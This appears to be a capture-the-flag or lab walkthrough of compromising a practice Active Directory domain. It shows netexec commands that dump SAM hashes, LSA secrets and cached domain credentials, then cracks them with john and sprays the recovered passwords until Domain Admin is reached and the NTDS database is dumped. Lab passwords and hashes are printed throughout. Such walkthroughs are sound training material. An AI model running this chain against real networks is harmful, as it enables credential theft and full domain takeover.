$(kali㉿kali)-[~/AD-chain2]$└─$ nxc smb ips -u 'clee' -p '!!XzUfrog69' --sam$SMB 10.0.2.4 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:hack-academy.local) (signing:True) (SMBv1:False)$SMB 10.0.2.7 445 CLIENT-1 [*] Windows 10 / Server 2019 Build 19041 x64 (name:CLIENT-1) (domain:hack-academy.local) (signing:False) (SMBv1:False)$SMB 10.0.2.9 445 CLIENT-2 [*] Windows 10 / Server 2019 Build 19041 x64 (name:CLIENT-2) (domain:hack-academy.local) (signing:False) (SMBv1:False)$SMB 10.0.2.4 445 DC01 [+] hack-academy.local\clee:!!XzUfrog69 $SMB 10.0.2.7 445 CLIENT-1 [+] hack-academy.local\clee:!!XzUfrog69 $SMB 10.0.2.9 445 CLIENT-2 [+] hack-academy.local\clee:!!XzUfrog69 (Pwn3d!)$SMB 10.0.2.9 445 CLIENT-2 [*] Dumping SAM hashes$SMB 10.0.2.9 445 CLIENT-2 Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::$SMB 10.0.2.9 445 CLIENT-2 Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::$SMB 10.0.2.9 445 CLIENT-2 DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::$SMB 10.0.2.9 445 CLIENT-2 WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:cb02bc3b3782d63acca9a324d035d768:::$SMB 10.0.2.9 445 CLIENT-2 David:1002:aad3b435b51404eeaad3b435b51404ee:e618ab47ea4179bb6199a16daff38b5b:::$SMB 10.0.2.9 445 CLIENT-2 [+] Added 5 SAM hashes to the database$Running nxc against 3 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00$ 🐺 howlsec@kalishell
$nxc smb ips -u 'clee' -p '!!XzUfrog69' --lsa$SMB 10.0.2.4 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:hack-academy.local) (signing:True) (SMBv1:False)$SMB 10.0.2.9 445 CLIENT-2 [*] Windows 10 / Server 2019 Build 19041 x64 (name:CLIENT-2) (domain:hack-academy.local) (signing:False) (SMBv1:False)$SMB 10.0.2.7 445 CLIENT-1 [*] Windows 10 / Server 2019 Build 19041 x64 (name:CLIENT-1) (domain:hack-academy.local) (signing:False) (SMBv1:False)$SMB 10.0.2.4 445 DC01 [+] hack-academy.local\clee:!!XzUfrog69 $SMB 10.0.2.9 445 CLIENT-2 [+] hack-academy.local\clee:!!XzUfrog69 (Pwn3d!)$SMB 10.0.2.7 445 CLIENT-1 [+] hack-academy.local\clee:!!XzUfrog69 $SMB 10.0.2.9 445 CLIENT-2 [+] Dumping LSA secrets$SMB 10.0.2.9 445 CLIENT-2 HACK-ACADEMY.LOCAL/mross:$DCC2$10240#mross#448f790be9a5c9e1cd36e1faf4b53e04: (2025-11-15 10:14:16)$SMB 10.0.2.9 445 CLIENT-2 HACK-ACADEMY.LOCAL/clee:$DCC2$10240#clee#56dfbedb081f2f5e4a6ef08632a0133e: (2026-02-13 03:06:30)$SMB 10.0.2.9 445 CLIENT-2 HACK-ACADEMY\CLIENT-2$:aes256-cts-hmac-sha1-96:10cfcd46d8afd617c02e29c47be763df4b3596f23cfdad10e45ecc279f29fcab$SMB 10.0.2.9 445 CLIENT-2 HACK-ACADEMY\CLIENT-2$:aes128-cts-hmac-sha1-96:e07f05349656bf33a02639d94ec4a9e9$SMB 10.0.2.9 445 CLIENT-2 HACK-ACADEMY\CLIENT-2$:des-cbc-md5:0234cd67a8b97334$SMB 10.0.2.9 445 CLIENT-2 HACK-ACADEMY\CLIENT-2$:plain_password_hex:13d600ecaa060b0e558d83afc678abe9dbb7a85c1d0fcb7e1a4a34545e442766b422454194ed27e9c76e9ce69d89f75afb9590d0720eab674ed04dc1452bef382353608d5213dc3b5d93cb6c1fb05e410ba743badb6b7f0bbd3ac65074a5c7a673902f33827caf0251c8a9f57af033ad9ae933baccf8837489520032f41beb23b548eed83ce3308385a4561a49eef32d5317994dca962dc8db255a3249ccef43b3bc27e364087eb9ac4822557dbd8213f967e021b5c94130e45352a8a8f0492246ecf1df5d681613d466398eb2e0ad4cfd5152bf786435e5c98480e4a50ed76bf308654de8dea07f81552c79d5d35da5$SMB 10.0.2.9 445 CLIENT-2 HACK-ACADEMY\CLIENT-2$:aad3b435b51404eeaad3b435b51404ee:f2d60bae3f206e78e445f7e6b106860c:::$SMB 10.0.2.9 445 CLIENT-2 dpapi_machinekey:0x0567c35e4dc0d3fb5d2015ba0341053b907b64f1$dpapi_userkey:0x18dba29d7d5e9a483e3844e96fcd2d5130b52886$SMB 10.0.2.9 445 CLIENT-2 [+] Dumped 8 LSA secrets to /home/kali/.nxc/logs/lsa/CLIENT-2_10.0.2.9_2026-02-12_233029.secrets and /home/kali/.nxc/logs/lsa/CLIENT-2_10.0.2.9_2026-02-12_233029.cached$Running nxc against 3 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00🐺 howlsec@kalishell
$nxc smb ips -u 'clee' -p '!!XzUfrog69' --lsa secdump$SMB 10.0.2.4 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:hack-academy.local) (signing:True) (SMBv1:False) $SMB 10.0.2.7 445 CLIENT-1 [*] Windows 10 / Server 2019 Build 19041 x64 (name:CLIENT-1) (domain:hack-academy.local) (signing:False) (SMBv1:False)$SMB 10.0.2.9 445 CLIENT-2 [*] Windows 10 / Server 2019 Build 19041 x64 (name:CLIENT-2) (domain:hack-academy.local) (signing:False) (SMBv1:False)$SMB 10.0.2.4 445 DC01 [+] hack-academy.local\clee:!!XzUfrog69 $SMB 10.0.2.7 445 CLIENT-1 [+] hack-academy.local\clee:!!XzUfrog69 $SMB 10.0.2.9 445 CLIENT-2 [+] hack-academy.local\clee:!!XzUfrog69 (Pwn3d!)$SMB 10.0.2.9 445 CLIENT-2 [+] Dumping LSA secrets$SMB 10.0.2.9 445 CLIENT-2 HACK-ACADEMY.LOCAL/mross:$DCC2$10240#mross#448f790be9a5c9e1cd36e1faf4b53e04: (2025-11-15 10:14:16+00:00)$SMB 10.0.2.9 445 CLIENT-2 HACK-ACADEMY.LOCAL/clee:$DCC2$10240#clee#56dfbedb081f2f5e4a6ef08632a0133e: (2026-02-13 03:06:30+00:00)$SMB 10.0.2.9 445 CLIENT-2 HACK-ACADEMY\CLIENT-2$:aes256-cts-hmac-sha1-96:10cfcd46d8afd617c02e29c47be763df4b3596f23cfdad10e45ecc279f29fcab $SMB 10.0.2.9 445 CLIENT-2 HACK-ACADEMY\CLIENT-2$:aes128-cts-hmac-sha1-96:e07f05349656bf33a02639d94ec4a9e9$SMB 10.0.2.9 445 CLIENT-2 HACK-ACADEMY\CLIENT-2$:des-cbc-md5:0234cd67a8b97334$SMB 10.0.2.9 445 CLIENT-2 HACK-ACADEMY\CLIENT-2$:plain_password_hex:13d600ecaa060b0e558d83afc678abe9dbb7a85c1d0fcb7e1a4a34545e442766b422454194ed27e9c76e9ce69d89f75afb9590d0720eab674ed04dc1452bef382353608d5213dc3b5d93cb6c1fb05e410ba743badb6b7f0bbd3ac65074a5c7a673902f33827caf0251c8a9f57af033ad9ae933baccf8837489520032f41beb23b548eed83ce3308385a4561a49eef32d5317994dca962dc8db255a3249ccef43b3bc27e364087eb9ac4822557dbd8213f967e021b5c94130e45352a8a8f0492246ecf1df5d681613d466398eb2e0ad4cfd5152bf786435e5c98480e4a50ed76bf308654de8dea07f81552c79d5d35da5 $SMB 10.0.2.9 445 CLIENT-2 HACK-ACADEMY\CLIENT-2$:aad3b435b51404eeaad3b435b51404ee:f2d60bae3f206e78e445f7e6b106860c:::$SMB 10.0.2.9 445 CLIENT-2 dpapi_machinekey:0x0567c35e4dc0d3fb5d2015ba0341053b907b64f1$dpapi_userkey:0x18dba29d7d5e9a483e3844e96fcd2d5130b52886$SMB 10.0.2.9 445 CLIENT-2 NL$KM:4b8d43c6320e61b06a3bf99009aa2f6572781bfb37ab335fbb95f81cd1fe02063605aa1546430486991b1897522fe581046bdcaec57306889a4eb5afe16610ac $SMB 10.0.2.9 445 CLIENT-2 [+] Dumped 9 LSA secrets to /home/kali/.nxc/logs/lsa/CLIENT-2_10.0.2.9_2026-02-12_233337.secrets and /home/kali/.nxc/logs/lsa/CLIENT-2_10.0.2.9_2026-02-12_233337.cached$Running nxc against 3 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00(screenshot omitted) Now we crack the hash and we got new credentials mross : !!TWIZtid11
🐺 howlsec@kalishell
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash2Now we can spray again across the network with new credentials
🐺 howlsec@kalishell
$nxc smb ips -u users -p passwords --continue-on-success$nxc winrm ips -u users -p passwords --continue-on-success(screenshot omitted) mross is Admin on Client1 so we can remotely dump hashes from Client 1
🐺 howlsec@kalishell
$nxc smb 10.0.2.7 -u mross -p '!!TWIZtid11' --lsa secdump $SMB 10.0.2.7 445 CLIENT-1 [*] Windows 10 / Server 2019 Build 19041 x64 (name:CLIENT-1) (domain:hack-academy.local) (signing:False) (SMBv1:False)$SMB 10.0.2.7 445 CLIENT-1 [+] hack-academy.local\mross:!!TWIZtid11 (Pwn3d!)$SMB 10.0.2.7 445 CLIENT-1 [+] Dumping LSA secrets$SMB 10.0.2.7 445 CLIENT-1 HACK-ACADEMY.LOCAL/zmiller:$DCC2$10240#zmiller#d9136c822b2084fad389e66f858efb54: (2025-11-15 10:14:37+00:00)$SMB 10.0.2.7 445 CLIENT-1 HACK-ACADEMY\CLIENT-1$:aes256-cts-hmac-sha1-96:fcfaf3f138bbcc8d156aa73908dbbe23dbec41670e9f460415ddefce238d1572$SMB 10.0.2.7 445 CLIENT-1 HACK-ACADEMY\CLIENT-1$:aes128-cts-hmac-sha1-96:1c6d041a61cb1c6dff1cd59d9102b0ab$SMB 10.0.2.7 445 CLIENT-1 HACK-ACADEMY\CLIENT-1$:des-cbc-md5:29191598799ba2f7$SMB 10.0.2.7 445 CLIENT-1 HACK-ACADEMY\CLIENT-1$:plain_password_hex:feadb2bbe4654365de7eb9e82b4fc73d9fad5818ff7f7ebea4d8a44ea0e8b835077383f86cfc53bb6fe26b11d29b12aa9d6ff19f5d377f778ecdcdb435132b335bbf1883314208c3563850e6c6d7c38da5dda11eb800319c23af7b31f28bbf1a673813427f319b185b5dfc30bdef42491f7e2ac4b617e02494ceef646fb15ee22833846b15c749eccd1f5e34b5e729464a881b463b693eef5edd0a6c816420924b2f7cb5c5cc1cf219501a60b8acbb601fc76db51bd46f88cd51b13df69c96ff215c74bac83046a1c83fa861fea414642b25d96ced3f8f271ccf2f7f412979137486ffebf24a575aee834bad7aeb2fa8$SMB 10.0.2.7 445 CLIENT-1 HACK-ACADEMY\CLIENT-1$:aad3b435b51404eeaad3b435b51404ee:a541a88b09c621ba7d2deb9bc16c5ef6:::$SMB 10.0.2.7 445 CLIENT-1 dpapi_machinekey:0xf40fb1b5e9b0e32e3f894a8ea41407ea759f7d72$dpapi_userkey:0xb4817a980cb0d48b9cd1300c3ed32fb0d6f0bdc7$SMB 10.0.2.7 445 CLIENT-1 NL$KM:36fc9f1b6ceb4a27ecdf572e29f914a6549fa0982cf4f1e3fc1d5272b5433cb391a6f8e4c39163108dfd64b50883e9db3dc6ecd6870b6f9b542be8580b233e97$SMB 10.0.2.7 445 CLIENT-1 [+] Dumped 8 LSA secrets to /home/kali/.nxc/logs/lsa/CLIENT-1_10.0.2.7_2026-02-12_235145.secrets and /home/kali/.nxc/logs/lsa/CLIENT-1_10.0.2.7_2026-02-12_235145.cachedFound a hash of zmiller who is a Domain Admin that we identified at the beginning via Blood Hound. Now crack his hash
🐺 howlsec@kalishell
$HACK-ACADEMY.LOCAL/zmiller:$DCC2$10240#zmiller#d9136c822b2084fad389e66f858efb54:$john --wordlist=/usr/share/wordlists/rockyou.txt hash3And yes we got zmiller : !!WaR1972!! (screenshot omitted) Now we can dump all hashes with Domain admin! (screenshot omitted)
🐺 howlsec@kalishell
$netexec smb 10.0.2.4 -u 'zmiller' -p '!!WaR1972!!' -M ntdsutil | fgrep -v '[' | awk -F: '{print $4}' | tee -a dumped_hashes.txt(screenshot omitted)